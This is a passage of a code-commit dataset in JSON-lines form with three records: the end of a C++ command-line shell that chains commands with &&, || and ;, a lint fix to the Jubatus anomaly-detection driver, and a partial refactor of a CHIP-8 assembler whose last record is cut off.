fileExists(temp.at(0));\n\t\t\t}\n\t\t}\n\t\tbool fileExists(string& path){\n\t\t\tstruct stat buffer;\n\t\t\treturn (stat(path.c_str(), &buffer) == 0);\n\t\t}\n\n\t\tbool dirExists(string& path){\n\t\t\tstruct stat buffer;\n\t\t\tif (stat(path.c_str(), &buffer) == 0 && S_ISDIR(buffer.st_mode)){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tbool regFileExists(string& path){\n\t\t\tstruct stat buffer;\n\t\t\tif (stat(path.c_str(), &buffer) == 0 && S_ISREG(buffer.st_mode)){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tvoid execute(bool prevCommand){\n\t\t\tif (checkBreaker(0)){\n\t\t\t\tcout << \"Yay\";\n\t\t\t\tcommandType = commandlist.at(0) + commandlist.at(1);\n\t\t\t\tcommandlist.erase(commandlist.begin(), commandlist.begin() + 2);\n\t\t\t}\n\t\t\tif (prevCommand){\n\t\t\t\tif (commandType == \"&&\"){\n\t\t\t\t\trunAllCommands();\n\t\t\t\t\tif (allCount){\n\t\t\t\t\t\tcommandPass = true;\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\tcommandPass = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (commandType == \"||\"){\n\t\t\t\t\tcommandPass = true;\n\t\t\t\t}\n\t\t\t\telse if (commandType == \";\"){\n\t\t\t\t\trunAllCommands();\n\t\t\t\t\tif (allCount){\n\t\t\t\t\t\tcommandPass = true;\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\tcommandPass = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tif (commandType == \"&&\"){\n\t\t\t\t\tcommandPass = false;\n\t\t\t\t}\n\t\t\t\telse if (commandType == \"||\"){\n\t\t\t\t\trunAllCommands();\n\t\t\t\t\tif (allCount){\n\t\t\t\t\t\tcommandPass = true;\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\tcommandPass = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (commandType == \";\"){\n\t\t\t\t\trunAllCommands();\n\t\t\t\t\tcommandPass = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n};\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Jubatus: Online machine learning framework for distributed environment\n\/\/ Copyright (C) 2011,2012 Preferred Networks and Nippon Telegraph and Telephone Corporation.\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License version 2.1 as published by the Free Software Foundation.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n\n#include \"anomaly.hpp\"\n\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"..\/anomaly\/anomaly_factory.hpp\"\n#include \"..\/anomaly\/anomaly_base.hpp\"\n#include \"..\/common\/vector_util.hpp\"\n#include \"..\/fv_converter\/datum.hpp\"\n#include \"..\/fv_converter\/datum_to_fv_converter.hpp\"\n#include \"..\/fv_converter\/converter_config.hpp\"\n#include \"..\/fv_converter\/revert.hpp\"\n#include \"..\/storage\/storage_factory.hpp\"\n\nusing std::string;\nusing std::vector;\nusing std::pair;\nusing jubatus::core::fv_converter::weight_manager;\nusing jubatus::core::fv_converter::mixable_weight_manager;\nusing jubatus::util::lang::shared_ptr;\n\nnamespace jubatus {\nnamespace core {\nnamespace driver {\n\nanomaly::anomaly(\n    shared_ptr<jubatus::core::anomaly::anomaly_base> anomaly_method,\n    shared_ptr<fv_converter::datum_to_fv_converter> converter)\n    : converter_(converter),\n      anomaly_(anomaly_method),\n      wm_(mixable_weight_manager::model_ptr(new weight_manager)) {\n  vector<framework::mixable*> mixables = anomaly_->get_mixables();\n  for (size_t i = 0; i < mixables.size(); i++) {\n    register_mixable(mixables[i]);\n  }\n  register_mixable(&wm_);\n\n  converter_->set_weight_manager(wm_.get_model());\n}\n\nanomaly::~anomaly() {\n}\n\nbool anomaly::is_updatable() const {\n  return anomaly_->is_updatable();\n}\n\nvoid anomaly::clear_row(const std::string& id) {\n  anomaly_->clear_row(id);\n}\n\npair<string, float> anomaly::add(\n    const string& id,\n    const fv_converter::datum& d) {\n  if (anomaly_->is_updatable()) {\n    return make_pair(id, this->update(id, d));\n  } else {\n    return make_pair(id, this->overwrite(id, d));\n  }\n}\n\nfloat anomaly::update(const string& id, const fv_converter::datum& d) {\n  common::sfv_t v;\n  converter_->convert_and_update_weight(d, v);\n\n  if (anomaly_->update_row(id, v)) {\n    return anomaly_->calc_anomaly_score(id);\n  } else {\n    return anomaly_->calc_anomaly_score(id, v);\n  }\n\n}\n\nfloat anomaly::overwrite(const string& id, const fv_converter::datum& d) {\n  common::sfv_t v;\n  converter_->convert_and_update_weight(d, v);\n\n  if (anomaly_->set_row(id, v)) {\n    return anomaly_->calc_anomaly_score(id);\n  } else {\n    return anomaly_->calc_anomaly_score(v);\n  }\n}\n\nvoid anomaly::clear() {\n  anomaly_->clear();\n  converter_->clear_weights();\n}\n\nfloat anomaly::calc_score(const fv_converter::datum& d) const {\n  common::sfv_t v;\n  converter_->convert(d, v);\n  return anomaly_->calc_anomaly_score(v);\n}\n\nvector<string> anomaly::get_all_rows() const {\n  vector<string> ids;\n  anomaly_->get_all_row_ids(ids);\n  return ids;\n}\n\nuint64_t anomaly::find_max_int_id() const {\n  return anomaly_->find_max_int_id();\n}\n\nvoid anomaly::pack(framework::packer& pk) const {\n  pk.pack_array(2);\n  anomaly_->pack(pk);\n  wm_.get_model()->pack(pk);\n}\n\nvoid anomaly::unpack(msgpack::object o) {\n  if (o.type != msgpack::type::ARRAY || o.via.array.size != 2) {\n    throw msgpack::type_error();\n  }\n\n  \/\/ clear before load\n  anomaly_->clear();\n  converter_->clear_weights();\n  anomaly_->unpack(o.via.array.ptr[0]);\n  wm_.get_model()->unpack(o.via.array.ptr[1]);\n}\n\n}  \/\/ namespace driver\n}  \/\/ namespace core\n}  \/\/ namespace jubatus\n<commit_msg>fix cpplint (refs #223)<commit_after>\/\/ Jubatus: Online machine learning framework for distributed environment\n\/\/ Copyright (C) 2011,2012 Preferred Networks and Nippon Telegraph and Telephone Corporation.\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License version 2.1 as published by the Free Software Foundation.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n\n#include \"anomaly.hpp\"\n\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"..\/anomaly\/anomaly_factory.hpp\"\n#include \"..\/anomaly\/anomaly_base.hpp\"\n#include \"..\/common\/vector_util.hpp\"\n#include \"..\/fv_converter\/datum.hpp\"\n#include \"..\/fv_converter\/datum_to_fv_converter.hpp\"\n#include \"..\/fv_converter\/converter_config.hpp\"\n#include \"..\/fv_converter\/revert.hpp\"\n#include \"..\/storage\/storage_factory.hpp\"\n\nusing std::string;\nusing std::vector;\nusing std::pair;\nusing jubatus::core::fv_converter::weight_manager;\nusing jubatus::core::fv_converter::mixable_weight_manager;\nusing jubatus::util::lang::shared_ptr;\n\nnamespace jubatus {\nnamespace core {\nnamespace driver {\n\nanomaly::anomaly(\n    shared_ptr<jubatus::core::anomaly::anomaly_base> anomaly_method,\n    shared_ptr<fv_converter::datum_to_fv_converter> converter)\n    : converter_(converter),\n      anomaly_(anomaly_method),\n      wm_(mixable_weight_manager::model_ptr(new weight_manager)) {\n  vector<framework::mixable*> mixables = anomaly_->get_mixables();\n  for (size_t i = 0; i < mixables.size(); i++) {\n    register_mixable(mixables[i]);\n  }\n  register_mixable(&wm_);\n\n  converter_->set_weight_manager(wm_.get_model());\n}\n\nanomaly::~anomaly() {\n}\n\nbool anomaly::is_updatable() const {\n  return anomaly_->is_updatable();\n}\n\nvoid anomaly::clear_row(const std::string& id) {\n  anomaly_->clear_row(id);\n}\n\npair<string, float> anomaly::add(\n    const string& id,\n    const fv_converter::datum& d) {\n  if (anomaly_->is_updatable()) {\n    return make_pair(id, this->update(id, d));\n  } else {\n    return make_pair(id, this->overwrite(id, d));\n  }\n}\n\nfloat anomaly::update(const string& id, const fv_converter::datum& d) {\n  common::sfv_t v;\n  converter_->convert_and_update_weight(d, v);\n\n  if (anomaly_->update_row(id, v)) {\n    return anomaly_->calc_anomaly_score(id);\n  } else {\n    return anomaly_->calc_anomaly_score(id, v);\n  }\n}\n\nfloat anomaly::overwrite(const string& id, const fv_converter::datum& d) {\n  common::sfv_t v;\n  converter_->convert_and_update_weight(d, v);\n\n  if (anomaly_->set_row(id, v)) {\n    return anomaly_->calc_anomaly_score(id);\n  } else {\n    return anomaly_->calc_anomaly_score(v);\n  }\n}\n\nvoid anomaly::clear() {\n  anomaly_->clear();\n  converter_->clear_weights();\n}\n\nfloat anomaly::calc_score(const fv_converter::datum& d) const {\n  common::sfv_t v;\n  converter_->convert(d, v);\n  return anomaly_->calc_anomaly_score(v);\n}\n\nvector<string> anomaly::get_all_rows() const {\n  vector<string> ids;\n  anomaly_->get_all_row_ids(ids);\n  return ids;\n}\n\nuint64_t anomaly::find_max_int_id() const {\n  return anomaly_->find_max_int_id();\n}\n\nvoid anomaly::pack(framework::packer& pk) const {\n  pk.pack_array(2);\n  anomaly_->pack(pk);\n  wm_.get_model()->pack(pk);\n}\n\nvoid anomaly::unpack(msgpack::object o) {\n  if (o.type != msgpack::type::ARRAY || o.via.array.size != 2) {\n    throw msgpack::type_error();\n  }\n\n  \/\/ clear before load\n  anomaly_->clear();\n  converter_->clear_weights();\n  anomaly_->unpack(o.via.array.ptr[0]);\n  wm_.get_model()->unpack(o.via.array.ptr[1]);\n}\n\n}  \/\/ namespace driver\n}  \/\/ namespace core\n}  \/\/ namespace jubatus\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <map>\n#include <functional>\n\nusing namespace std;\n\nnamespace {\n\nnamespace io {\n\nenum token_type {\n  REG,\n  NN\n};\n\nofstream outfile;\nifstream infile;\n\nvoid exit_ok() {\n  infile.close();\n  outfile.close();\n  exit(0);\n}\n\nvoid exit_err(string const& error) {\n  cerr << error;\n  infile.close();\n  outfile.close();\n  exit(1);\n}\n\nvoid write_bins(char lhs, char rhs) {\n  outfile.write(static_cast<char*>(&lhs), 1);\n  outfile.write(static_cast<char*>(&rhs), 1);\n  if (outfile.fail()) {\n    exit_err(\"Error writing to disk\");\n  }\n}\n\nint xtoi(string const& x) {\n  try {\n    return stoi(x, 0, 16);\n  } catch (exception &e) {\n    return -1;\n  }\n}\n\nstring next_token() {\n  string value;\n  io::infile >> value;\n  if (!io::infile) {\n    io::exit_ok();\n  }\n  return value;\n}\n\nvoid tok2n(string const& name, string&& value, char& n) {\n  int target = xtoi(value);\n  if (0 > target || 0xF < target) {\n    exit_err(\"Error: \" + name + \" needs to be supplied with a value [0-F]\\n\");\n  }\n  n = target;\n}\n\nvoid tok2nn(string const& name, string&& value, char& nn) {\n  int target = xtoi(value);\n  if (0 > target || 0xFF < target) {\n    exit_err(\"Error: \" + name + \" needs to be supplied with a value [0-FF]\\n\");\n  }\n  nn = target;\n}\n\nvoid tok2nnn(string const& name, string&& value, char& lhs, char& rhs) {\n  int target = xtoi(value);\n  if (0 > target || 0xFFF < target) {\n    exit_err(\"Error: \" + name + \" needs to be supplied with a value [0-FFF]\\n\");\n  }\n  lhs = target >> 8;\n  rhs = target & 0xFF;\n}\n\nvoid tok2reg(string const& name, string&& value, char& reg) {\n  if (value.at(0) != 'r') {\n    exit_err(\"Error: \" + name + \" needs to be supplied with a register r[0-F]\\n\");\n  }\n\n  int target = xtoi(value.substr(1));\n  if (0 > target || 0xF < target) {\n    exit_err(\"Error: \" + name + \" needs to be supplied with a register r[0-F]\\n\");\n  }\n  reg = target;\n}\n\nvoid tok2reg_or_nn(string const& name, string&& value, char& reg_or_nn, io::token_type& t) {\n  if (value.at(0) == 'r') {\n    t = REG;\n    tok2reg(name, forward<string>(value), reg_or_nn);\n  } else {\n    t = NN;\n    tok2nn(name, forward<string>(value), reg_or_nn);\n  }\n}\n\n} \/\/ io\n\nnamespace op {\n\n\/\/ These variables are shared between all below functions\nchar lhs;\nchar rhs;\nchar rhs2;\nio::token_type t;\n\nvoid CLS() { io::write_bins(0x00, 0xE0); }\n\nvoid RET() { io::write_bins(0x00, 0xEE); }\n\nvoid JMP() {\n  io::tok2nnn(\"JMP\", io::next_token(), lhs, rhs);\n  io::write_bins(0x10 + lhs, rhs);\n}\n\nvoid CALL() {\n  io::tok2nnn(\"CALL\", io::next_token(), lhs, rhs);\n  io::write_bins(0x20 + lhs, rhs);\n}\n\nvoid IFN() {\n  io::tok2reg(\"IFN\", io::next_token(), lhs);\n  io::tok2reg_or_nn(\"IFN\", io::next_token(), rhs, t);\n  if (t == io::NN)       { io::write_bins(0x30 + lhs, rhs); }\n  else if (t == io::REG) { io::write_bins(0x50 + lhs, rhs << 4); }\n  else                   { io::exit_err(\"IFN: Unknown type\\n\"); }\n}\n\nvoid IF() {\n  io::tok2reg(\"IF\", io::next_token(), lhs);\n  io::tok2reg_or_nn(\"IF\", io::next_token(), rhs, t);\n  if (t == io::NN)       { io::write_bins(0x40 + lhs, rhs); }\n  else if (t == io::REG) { io::write_bins(0x90 + lhs, (rhs << 4) + 0x04); }\n  else                   { io::exit_err(\"IF: Unknown type\\n\"); }\n}\n\nvoid SET() {\n  io::tok2reg(\"SET\", io::next_token(), lhs);\n  io::tok2reg_or_nn(\"SET\", io::next_token(), rhs, t);\n  if (t == io::NN)       { io::write_bins(0x60 + lhs, rhs); }\n  else if (t == io::REG) { io::write_bins(0x80 + lhs, rhs << 4); }\n  else                   { io::exit_err(\"SET: Unknown type\\n\");\n  }\n}\n\nvoid ADD() {\n  io::tok2reg(\"ADD\", io::next_token(), lhs);\n  io::tok2reg_or_nn(\"ADD\", io::next_token(), rhs, t);\n  if (t == io::NN)       { io::write_bins(0x70 + lhs, rhs); }\n  else if (t == io::REG) { io::write_bins(0x80 + lhs, (rhs << 4) + 0x04); }\n  else                   { io::exit_err(\"ADD: Unknown type\\n\"); }\n}\n\nvoid OR() {\n  io::tok2reg(\"OR\", io::next_token(), lhs);\n  io::tok2reg(\"OR\", io::next_token(), rhs);\n  io::write_bins(0x80 + lhs, (rhs << 4) + 0x01);\n}\n\nvoid AND() {\n  io::tok2reg(\"AND\", io::next_token(), lhs);\n  io::tok2reg(\"AND\", io::next_token(), rhs);\n  io::write_bins(0x80 + lhs, (rhs << 4) + 0x02);\n}\n\nvoid XOR() {\n  io::tok2reg(\"XOR\", io::next_token(), lhs);\n  io::tok2reg(\"XOR\", io::next_token(), rhs);\n  io::write_bins(0x80 + lhs, (rhs << 4) + 0x03);\n}\n\nvoid SUB() {\n  io::tok2reg(\"SUB\", io::next_token(), lhs);\n  io::tok2reg(\"SUB\", io::next_token(), rhs);\n  io::write_bins(0x80 + lhs, (rhs << 4) + 0x05);\n}\n\nvoid SHR() {\n  io::tok2reg(\"SHR\", io::next_token(), lhs);\n  io::tok2reg(\"SHR\", io::next_token(), rhs);\n  io::write_bins(0x80 + lhs, (rhs << 4) + 0x06);\n}\n\nvoid RSUB() {\n  io::tok2reg(\"RSUB\", io::next_token(), lhs);\n  io::tok2reg(\"RSUB\", io::next_token(), rhs);\n  io::write_bins(0x80 + lhs, (rhs << 4) + 0x07);\n}\n\nvoid SHL() {\n  io::tok2reg(\"SHL\", io::next_token(), lhs);\n  io::tok2reg(\"SHL\", io::next_token(), rhs);\n  io::write_bins(0x80 + lhs, (rhs << 4) + 0x0E);\n}\n\nvoid IDX() {\n  io::tok2nnn(\"IDX\", io::next_token(), lhs, rhs);\n  io::write_bins(0xA0 + lhs, rhs);\n}\n\nvoid JMP0() {\n  io::tok2nnn(\"JMP0\", io::next_token(), lhs, rhs);\n  io::write_bins(0xB0 + lhs, rhs);\n}\n\nvoid RND() {\n  io::tok2reg(\"RND\", io::next_token(), lhs);\n  io::tok2nn(\"RND\", io::next_token(), rhs);\n  io::write_bins(0xC0 + lhs, rhs);\n}\n\nvoid DRAW() {\n  io::tok2reg(\"DRAW\", io::next_token(), lhs);\n  io::tok2reg(\"DRAW\", io::next_token(), rhs);\n  io::tok2n(\"DRAW\", io::next_token(), rhs2);\n  io::write_bins(0xD0 + lhs, (rhs << 4) + rhs2);\n}\n\nvoid IFK() {\n  io::tok2reg(\"IFK\", io::next_token(), lhs);\n  io::write_bins(0xE0 + lhs, 0x9E);\n}\n\nvoid IFNK() {\n  io::tok2reg(\"IFNK\", io::next_token(), lhs);\n  io::write_bins(0xE0 + lhs, 0xA1);\n}\n\nvoid GDEL() {\n  io::tok2reg(\"GDEL\", io::next_token(), lhs);\n  io::write_bins(0xF0 + lhs, 0x07);\n}\n\nvoid WKEY() {\n  io::tok2reg(\"WKEY\", io::next_token(), lhs);\n  io::write_bins(0xF0 + lhs, 0x0A);\n}\n\nvoid SDEL() {\n  io::tok2reg(\"SDEL\", io::next_token(), lhs);\n  io::write_bins(0xF0 + lhs, 0x15);\n}\n\nvoid SAUD() {\n  io::tok2reg(\"SAUD\", io::next_token(), lhs);\n  io::write_bins(0xF0 + lhs, 0x18);\n}\n\nvoid IADD() {\n  io::tok2reg(\"IADD\", io::next_token(), lhs);\n  io::write_bins(0xF0 + lhs, 0x1E);\n}\n\nvoid CHAR() {\n  io::tok2reg(\"CHAR\", io::next_token(), lhs);\n  io::write_bins(0xF0 + lhs, 0x29);\n}\n\nvoid SEP() {\n  io::tok2reg(\"SEP\", io::next_token(), lhs);\n  io::write_bins(0xF0 + lhs, 0x33);\n}\n\nvoid STOR() {\n  io::tok2reg(\"STOR\", io::next_token(), lhs);\n  io::write_bins(0xF0 + lhs, 0x55);\n}\n\nvoid LOAD() {\n  io::tok2reg(\"LOAD\", io::next_token(), lhs);\n  io::write_bins(0xF0 + lhs, 0x65);\n}\n\n} \/\/ op\n\n\nint help(string program_name) {\n  cerr\n    << \"Usage: \" << program_name << \" FILE\\n\\n\"\n    << \"Available commands\\n\"\n    << \"CLS          - 0x00E0\\n\"\n    << \"RET          - 0x00EE\\n\"\n    << \"JMP  NNN     - 0x1NNN\\n\"\n    << \"CALL NNN     - 0x2NNN\\n\"\n    << \"IFN  rX  NN  - 0x3XNN\\n\"\n    << \"IF   rX  NN  - 0x4XNN\\n\"\n    << \"IFN  rX  rY  - 0x5XY0\\n\"\n    << \"SET  rX  NN  - 0x6XNN\\n\"\n    << \"ADD  rX  NN  - 0x7XNN\\n\"\n    << \"SET  rX  rY  - 0x8XY0\\n\"\n    << \"OR   rX  rY  - 0x8XY1\\n\"\n    << \"AND  rX  rY  - 0x8XY2\\n\"\n    << \"XOR  rX  rY  - 0x8XY3\\n\"\n    << \"ADD  rX  rY  - 0x8XY4\\n\"\n    << \"SUB  rX  rY  - 0x8XY5\\n\"\n    << \"SHR  rX  rY  - 0x8XY6\\n\"\n    << \"RSUB rX  rY  - 0x8XY7\\n\"\n    << \"SHL  rX  rY  - 0x8XYE\\n\"\n    << \"IF   rX  rY  - 0x9XY0\\n\"\n    << \"IDX  NNN     - 0xANNN\\n\"\n    << \"JMP0 NNN     - 0xBNNN\\n\"\n    << \"RND  rX NN   - 0xCXNN\\n\"\n    << \"DRAW rX rY N - 0xDXYN\\n\"\n    << \"IFK  rX      - 0xEX9E\\n\"\n    << \"IFNK rX      - 0xEXA1\\n\"\n    << \"GDEL rX      - 0xFX07\\n\"\n    << \"WKEY rX      - 0xFX0A\\n\"\n    << \"SDEL rX      - 0xFX15\\n\"\n    << \"SAUD rX      - 0xFX18\\n\"\n    << \"IADD rX      - 0xFX1E\\n\"\n    << \"CHAR rX      - 0xFX29\\n\"\n    << \"SEP  rX      - 0xFX33\\n\"\n    << \"STOR rX  rY  - 0xFX55\\n\"\n    << \"LOAD rX  rY  - 0xFX65\\n\";\n\n  return 1;\n}\n\n\n} \/\/ anonymous namespace\n\nint main(int argc, char* argv[]) {\n  if (argc != 2 || !strcmp(argv[1], \"--help\") || !strcmp(argv[1], \"-h\")) {\n    return help(argv[0]);\n  }\n\n  io::infile = ifstream(argv[1], ios::binary);\n  if (!io::infile) {\n    cerr << argv[0] << \": Unable to open \" << argv[1] << \"\\n\";\n    return 1;\n  }\n\n  stringstream ss;\n  ss << argv[1] << \".out\";\n  string const outfile_name{ss.str()};\n  io::outfile = ofstream(outfile_name, ios::binary);\n  if (!io::outfile) {\n    cerr << argv[0] << \": Unable to open \" << outfile_name << \"\\n\";\n    return 1;\n  }\n\n  map<string const, function<void()>> const op2fun {\n    {\"CLS\",  op::CLS},\n    {\"RET\",  op::RET},\n    {\"JMP\",  op::JMP},\n    {\"CALL\", op::CALL},\n    {\"IFN\",  op::IFN},\n    {\"IF\",   op::IF},\n    {\"SET\",  op::SET},\n    {\"ADD\",  op::ADD},\n    {\"OR\",   op::OR},\n    {\"AND\",  op::AND},\n    {\"XOR\",  op::XOR},\n    {\"SUB\",  op::SUB},\n    {\"SHR\",  op::SHR},\n    {\"RSUB\", op::RSUB},\n    {\"SHL\",  op::SHL},\n    {\"IDX\",  op::IDX},\n    {\"JMP0\", op::JMP0},\n    {\"RND\",  op::RND},\n    {\"DRAW\", op::DRAW},\n    {\"IFK\",  op::IFK},\n    {\"IFNK\", op::IFNK},\n    {\"GDEL\", op::GDEL},\n    {\"WKEY\", op::WKEY},\n    {\"SDEL\", op::SDEL},\n    {\"SAUD\", op::SAUD},\n    {\"IADD\", op::IADD},\n    {\"CHAR\", op::CHAR},\n    {\"SEP\",  op::SEP},\n    {\"STOR\", op::STOR},\n    {\"LOAD\", op::LOAD},\n  };\n\n\n  for (;;) {\n    \/\/ This constructor will exit when no more input is received\n    string const tok{io::next_token()};\n\n    auto const fun{op2fun.find(tok)};\n    if (fun == op2fun.end()) {\n      io::exit_err(\"Unknown command '\" + tok + \"'\\n\");\n    }\n\n    fun->second();\n  }\n\n  \/\/ Not reached\n}\n<commit_msg>Use of bind for less code reuse<commit_after>#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <map>\n#include <functional>\n\nusing namespace std;\n\nnamespace {\n\nnamespace io {\n\nenum token_type {\n  REG,\n  NN\n};\n\nofstream outfile;\nifstream infile;\n\nvoid exit_ok() {\n  infile.close();\n  outfile.close();\n  exit(0);\n}\n\nvoid exit_err(string const& error) {\n  cerr << error;\n  infile.close();\n  outfile.close();\n  exit(1);\n}\n\nvoid write_bins(char lhs, char rhs) {\n  outfile.write(static_cast<char*>(&lhs), 1);\n  outfile.write(static_cast<char*>(&rhs), 1);\n  if (outfile.fail()) {\n    exit_err(\"Error writing to disk\");\n  }\n}\n\nint xtoi(string const& x) {\n  try {\n    return stoi(x, 0, 16);\n  } catch (exception &e) {\n    return -1;\n  }\n}\n\nstring next_token() {\n  string value;\n  io::infile >> value;\n  if (!io::infile) {\n    io::exit_ok();\n  }\n  return value;\n}\n\nvoid tok2n(string const& name, string&& value, char& n) {\n  int target = xtoi(value);\n  if (0 > target || 0xF < target) {\n    exit_err(\"Error: \" + name + \" needs to be supplied with a value [0-F]\\n\");\n  }\n  n = target;\n}\n\nvoid tok2nn(string const& name, string&& value, char& nn) {\n  int target = xtoi(value);\n  if (0 > target || 0xFF < target) {\n    exit_err(\"Error: \" + name + \" needs to be supplied with a value [0-FF]\\n\");\n  }\n  nn = target;\n}\n\nvoid tok2nnn(string const& name, string&& value, char& lhs, char& rhs) {\n  int target = xtoi(value);\n  if (0 > target || 0xFFF < target) {\n    exit_err(\"Error: \" + name + \" needs to be supplied with a value [0-FFF]\\n\");\n  }\n  lhs = target >> 8;\n  rhs = target & 0xFF;\n}\n\nvoid tok2reg(string const& name, string&& value, char& reg) {\n  if (value.at(0) != 'r') {\n    exit_err(\"Error: \" + name + \" needs to be supplied with a register r[0-F]\\n\");\n  }\n\n  int target = xtoi(value.substr(1));\n  if (0 > target || 0xF < target) {\n    exit_err(\"Error: \" + name + \" needs to be supplied with a register r[0-F]\\n\");\n  }\n  reg = target;\n}\n\nvoid tok2reg_or_nn(string const& name, string&& value, char& reg_or_nn, io::token_type& t) {\n  if (value.at(0) == 'r') {\n    t = REG;\n    tok2reg(name, forward<string>(value), reg_or_nn);\n  } else {\n    t = NN;\n    tok2nn(name, forward<string>(value), reg_or_nn);\n  }\n}\n\n} \/\/ io\n\nnamespace op {\n\n\/\/ These variables are shared between all below functions\nchar lhs;\nchar rhs;\nchar rhs2;\nio::token_type t;\n\ninline void OP(char lhs, char rhs) { io::write_bins(lhs, rhs); }\n\ninline void R(string const& name, char lop, char rop) {\n  io::tok2reg(name, io::next_token(), lhs);\n  io::write_bins(lop + lhs, rop);\n}\n\ninline void RR(string const& name, char lop, char rop) {\n  io::tok2reg(name, io::next_token(), lhs);\n  io::tok2reg(name, io::next_token(), rhs);\n  io::write_bins(lop + lhs, (rhs << 4) + rop);\n}\n\ninline void NNN(string const& name, char op) {\n  io::tok2nnn(name, io::next_token(), lhs, rhs);\n  io::write_bins(op + lhs, rhs);\n}\n\ninline void RNN(string const& name, char lop) {\n  io::tok2reg(name, io::next_token(), lhs);\n  io::tok2nn(name, io::next_token(), rhs);\n  io::write_bins(lop + lhs, rhs);\n}\n\ninline void RRN(string const& name, char lop) {\n  io::tok2reg(name, io::next_token(), lhs);\n  io::tok2reg(name, io::next_token(), rhs);\n  io::tok2n(name, io::next_token(), rhs2);\n  io::write_bins(lop + lhs, (rhs << 4) + rhs2);\n}\n\ninline void RV(string const& name, char nnop, char rlop, char rrop) {\n  io::tok2reg(name, io::next_token(), lhs);\n  io::tok2reg_or_nn(name, io::next_token(), rhs, t);\n  if (t == io::NN)       { io::write_bins(nnop + lhs, rhs); }\n  else if (t == io::REG) { io::write_bins(rlop + lhs, (rhs << 4) + rrop); }\n  else                   { io::exit_err(name + \": Unknown type\\n\"); }\n}\n\n} \/\/ op\n\n\nint help(string program_name) {\n  cerr\n    << \"Usage: \" << program_name << \" FILE\\n\\n\"\n    << \"Available commands\\n\"\n    << \"CLS          - 0x00E0\\n\"\n    << \"RET          - 0x00EE\\n\"\n    << \"JMP  NNN     - 0x1NNN\\n\"\n    << \"CALL NNN     - 0x2NNN\\n\"\n    << \"IFN  rX  NN  - 0x3XNN\\n\"\n    << \"IF   rX  NN  - 0x4XNN\\n\"\n    << \"IFN  rX  rY  - 0x5XY0\\n\"\n    << \"SET  rX  NN  - 0x6XNN\\n\"\n    << \"ADD  rX  NN  - 0x7XNN\\n\"\n    << \"SET  rX  rY  - 0x8XY0\\n\"\n    << \"OR   rX  rY  - 0x8XY1\\n\"\n    << \"AND  rX  rY  - 0x8XY2\\n\"\n    << \"XOR  rX  rY  - 0x8XY3\\n\"\n    << \"ADD  rX  rY  - 0x8XY4\\n\"\n    << \"SUB  rX  rY  - 0x8XY5\\n\"\n    << \"SHR  rX  rY  - 0x8XY6\\n\"\n    << \"RSUB rX  rY  - 0x8XY7\\n\"\n    << \"SHL  rX  rY  - 0x8XYE\\n\"\n    << \"IF   rX  rY  - 0x9XY0\\n\"\n    << \"IDX  NNN     - 0xANNN\\n\"\n    << \"JMP0 NNN     - 0xBNNN\\n\"\n    << \"RND  rX NN   - 0xCXNN\\n\"\n    << \"DRAW rX rY N - 0xDXYN\\n\"\n    << \"IFK  rX      - 0xEX9E\\n\"\n    << \"IFNK rX      - 0xEXA1\\n\"\n    << \"GDEL rX      - 0xFX07\\n\"\n    << \"WKEY rX      - 0xFX0A\\n\"\n    << \"SDEL rX      - 0xFX15\\n\"\n    << \"SAUD rX      - 0xFX18\\n\"\n    << \"IADD rX      - 0xFX1E\\n\"\n    << \"CHAR rX      - 0xFX29\\n\"\n    << \"SEP  rX      - 0xFX33\\n\"\n    << \"STOR rX      - 0xFX55\\n\"\n    << \"LOAD rX      - 0xFX65\\n\";\n\n  return 1;\n}\n\n\n} \/\/ anonymous namespace\n\nint main(int argc, char* argv[]) {\n  if (argc != 2 || !strcmp(argv[1], \"--help\") || !strcmp(argv[1], \"-h\")) {\n    return help(argv[0]);\n  }\n\n  io::infile = ifstream(argv[1], ios::binary);\n  if (!io::infile) {\n    cerr << argv[0] << \": Unable to open \" << argv[1] << \"\\n\";\n    return 1;\n  }\n\n  stringstream ss;\n  ss << argv[1] << \".out\";\n  string const outfile_name{ss.str()};\n  io::outfile = ofstream(outfile_name, ios::binary);\n  if (!io::outfile) {\n    cerr << argv[0] << \": Unable to open \" << outfile_name << \"\\n\";\n    return 1;\n  }\n\n  map<string const, function<void()>> const op2fun {\n    {\"CLS\",  bind(op::OP,   0x00, 0xE0) },\n    {\"RET\",  bind(op::OP,   0x00, 0xEE) },\n    {\"JMP\",  bind(op::NNN, \"JMP\", 0x10)},\n    {\"CALL\", bind(op::NNN,\"CALL\", 0x20)},\n    {\"IFN\",  bind(op::RV,  \"IFN\", 